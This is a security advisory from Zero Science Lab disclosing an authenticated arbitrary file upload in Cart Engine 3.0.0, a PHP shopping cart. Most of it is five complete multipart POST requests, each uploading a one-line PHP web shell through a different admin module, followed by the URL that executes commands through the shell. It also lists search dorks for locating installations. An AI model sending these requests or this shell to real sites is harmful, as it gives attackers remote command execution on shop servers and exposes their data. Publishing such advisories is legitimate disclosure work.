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Cart Engine 3.0.0 Remote Code Execution
Vendor: C97net
Product web page: http://www.c97.net
Affected version: 3.0.0
Summary: Open your own online shop today with Cart Engine! The
small, yet powerful and don't forget, FREE shopping cart based
on PHP & MySQL. Unique features of Cart Engine include: CMS engine
based on our qEngine, product options, custom fields, digital
products, search engine friendly URL, user friendly administration
control panel, easy to use custom fields, module expandable, sub
products, unsurpassed flexibility...and more!
Desc: Cart Engine suffers from an authenticated arbitrary code
execution. The vulnerability is caused due to the improper verification
of uploaded files in several modules thru several POST parameters.
This can be exploited to execute arbitrary PHP code by uploading
a malicious PHP script file that will be stored in '/public/image'
directory. Minimum permissions needed for a user to upload any file:
User level: Regular (param: user_level=1)
Admin level: Editor (param: admin_level=3)
Only the 'Super Admin' level makes the Tool 'File Manager' available.
Tested on: Apache/2.4.7 (Win32)
PHP/5.5.6
MySQL 5.6.14
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2014-5182
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5182.php
Dork #1: intitle:powered by c97.net
Dork #2: intitle:powered by qEngine
Dork #3: intitle:powered by Kemana.c97.net
Dork #4: intitle:powered by Cart2.c97.net
07.03.2014
---
#1 (Modules > qBanner > Manage Banner > Add Entry)
POST http://localhost/ce3_0/admin/task.php?mod=qbanner&run=edit.php& HTTP/1.1
-----------------------------225222869427624
Content-Disposition: form-data; name="AXSRF_token"
52e9c9ff9bb251a144b82a662496f5b8
-----------------------------225222869427624
Content-Disposition: form-data; name="qadmin_cmd"
new
-----------------------------225222869427624
Content-Disposition: form-data; name="qadmin_process"
1
-----------------------------225222869427624
Content-Disposition: form-data; name="qadmin_savenew"
0
-----------------------------225222869427624
Content-Disposition: form-data; name="primary_key"
page_id
-----------------------------225222869427624
Content-Disposition: form-data; name="primary_val"
dummy
-----------------------------225222869427624
Content-Disposition: form-data; name="page_image"; filename="shell.php"
Content-Type: application/octet-stream
<?php passthru($_GET['cmd']); ?>
-----------------------------225222869427624
Content-Disposition: form-data; name="page_title"
ZSL
-----------------------------225222869427624
Content-Disposition: form-data; name="page_keyword"
http://www.zeroscience.mk
-----------------------------225222869427624
Content-Disposition: form-data; name="group_id"
QBANR
-----------------------------225222869427624
Content-Disposition: form-data; name="page_body"
This page is part of qBanner module. Please use qBanner Manager to edit this page.
-----------------------------225222869427624
Content-Disposition: form-data; name="page_allow_comment"
-----------------------------225222869427624
Content-Disposition: form-data; name="page_list"
-----------------------------225222869427624--
Upload location: http://localhost/ce3_0/public/image/
Exec: http://localhost/ce3_0/public/image/shell.php?cmd=whoami
#2 (Tools > File Manager > Upload)
POST http://localhost/ce3_0/admin/fman/upload_process.php HTTP/1.1
-----------------------------76802486520945
Content-Disposition: form-data; name="chdir"
-----------------------------76802486520945
Content-Disposition: form-data; name="n"
5
-----------------------------76802486520945
Content-Disposition: form-data; name="userfile_1"; filename="shell.php"
Content-Type: application/octet-stream
<?php passthru($_GET['cmd']); ?>
-----------------------------76802486520945
Content-Disposition: form-data; name="userfile_2"; filename=""
Content-Type: application/octet-stream
-----------------------------76802486520945
Content-Disposition: form-data; name="userfile_3"; filename=""
Content-Type: application/octet-stream
-----------------------------76802486520945
Content-Disposition: form-data; name="userfile_4"; filename=""
Content-Type: application/octet-stream
-----------------------------76802486520945
Content-Disposition: form-data; name="userfile_5"; filename=""
Content-Type: application/octet-stream
-----------------------------76802486520945--
Upload location: Anywhere within the webroot folder and its subfolders.
Exec: http://localhost/ce3_0/shell.php?cmd=whoami
#3 (Modules > Slideshow > Manage Slides > Add Entry)
POST http://localhost/ce3_0/admin/task.php?mod=slideshow&run=edit.php& HTTP/1.1
-----------------------------23201806221528
Content-Disposition: form-data; name="AXSRF_token"
52e9c9ff9bb251a144b82a662496f5b8
-----------------------------23201806221528
Content-Disposition: form-data; name="qadmin_cmd"
new
-----------------------------23201806221528
Content-Disposition: form-data; name="qadmin_process"
1
-----------------------------23201806221528
Content-Disposition: form-data; name="qadmin_savenew"
0
-----------------------------23201806221528
Content-Disposition: form-data; name="primary_key"
page_id
-----------------------------23201806221528
Content-Disposition: form-data; name="primary_val"
dummy
-----------------------------23201806221528
Content-Disposition: form-data; name="page_image"; filename="shell.php"
Content-Type: application/octet-stream
<?php passthru($_GET['cmd']); ?>
-----------------------------23201806221528
Content-Disposition: form-data; name="page_title"
ZSL
-----------------------------23201806221528
Content-Disposition: form-data; name="page_keyword"
http://www.zeroscience.mk
-----------------------------23201806221528
Content-Disposition: form-data; name="group_id"
SSHOW
-----------------------------23201806221528
Content-Disposition: form-data; name="page_body"
This page is part of SlideShow module. Please use SlideShow Manager to edit this page.
-----------------------------23201806221528
Content-Disposition: form-data; name="page_allow_comment"
-----------------------------23201806221528
Content-Disposition: form-data; name="page_list"
-----------------------------23201806221528--
Upload location: http://localhost/ce3_0/public/image/
Exec: http://localhost/ce3_0/public/image/shell.php?cmd=whoami
#4 (Contents > Manage Categories > Add Entry)
POST http://localhost/ce3_0/admin/page_cat.php? HTTP/1.1
-----------------------------205172563220150
Content-Disposition: form-data; name="AXSRF_token"
3afa0c7483889ac54d7b6afa4083a9a2
-----------------------------205172563220150
Content-Disposition: form-data; name="qadmin_cmd"
new
-----------------------------205172563220150
Content-Disposition: form-data; name="qadmin_process"
1
-----------------------------205172563220150
Content-Disposition: form-data; name="qadmin_savenew"
0
-----------------------------205172563220150
Content-Disposition: form-data; name="primary_key"
idx
-----------------------------205172563220150
Content-Disposition: form-data; name="primary_val"
dummy
-----------------------------205172563220150
Content-Disposition: form-data; name="group_id"
GENPG
-----------------------------205172563220150
Content-Disposition: form-data; name="parent_id"
1
-----------------------------205172563220150
Content-Disposition: form-data; name="cat_name"
ZSL
-----------------------------205172563220150
Content-Disposition: form-data; name="permalink"
-----------------------------205172563220150
Content-Disposition: form-data; name="cat_details"
<p>Zero Science Lab</p>
-----------------------------205172563220150
Content-Disposition: form-data; name="cat_image"; filename="shell.php"
Content-Type: application/octet-stream
<?php passthru($_GET['cmd']); ?>
-----------------------------205172563220150--
Upload location: http://localhost/ce3_0/public/image/
Exec: http://localhost/ce3_0/public/image/shell.php?cmd=whoami
#5 (Products > Category > Add Entry)
POST http://localhost/ce3_0/admin/product_cat.php? HTTP/1.1
-----------------------------137423069119287
Content-Disposition: form-data; name="AXSRF_token"
c3d8ccc82a75bb49d7698b6ed27fd016
-----------------------------137423069119287
Content-Disposition: form-data; name="qadmin_cmd"
new
-----------------------------137423069119287
Content-Disposition: form-data; name="qadmin_process"
1
-----------------------------137423069119287
Content-Disposition: form-data; name="qadmin_savenew"
0
-----------------------------137423069119287
Content-Disposition: form-data; name="primary_key"
idx
-----------------------------137423069119287
Content-Disposition: form-data; name="primary_val"
dummy
-----------------------------137423069119287
Content-Disposition: form-data; name="parent_id"
1
-----------------------------137423069119287
Content-Disposition: form-data; name="cat_name"
ZSL
-----------------------------137423069119287
Content-Disposition: form-data; name="permalink"
zsl
-----------------------------137423069119287
Content-Disposition: form-data; name="cat_details"
<p>CategoryDesc</p>
-----------------------------137423069119287
Content-Disposition: form-data; name="cat_image"; filename="shell.php"
Content-Type: application/octet-stream
<?php passthru($_GET['cmd']); ?>
-----------------------------137423069119287
Content-Disposition: form-data; name="cat_keywords"
Zero Science Lab
-----------------------------137423069119287
Content-Disposition: form-data; name="cat_featured"
-----------------------------137423069119287--
Upload location: http://localhost/ce3_0/public/image/
Exec: http://localhost/ce3_0/public/image/shell.php?cmd=whoami
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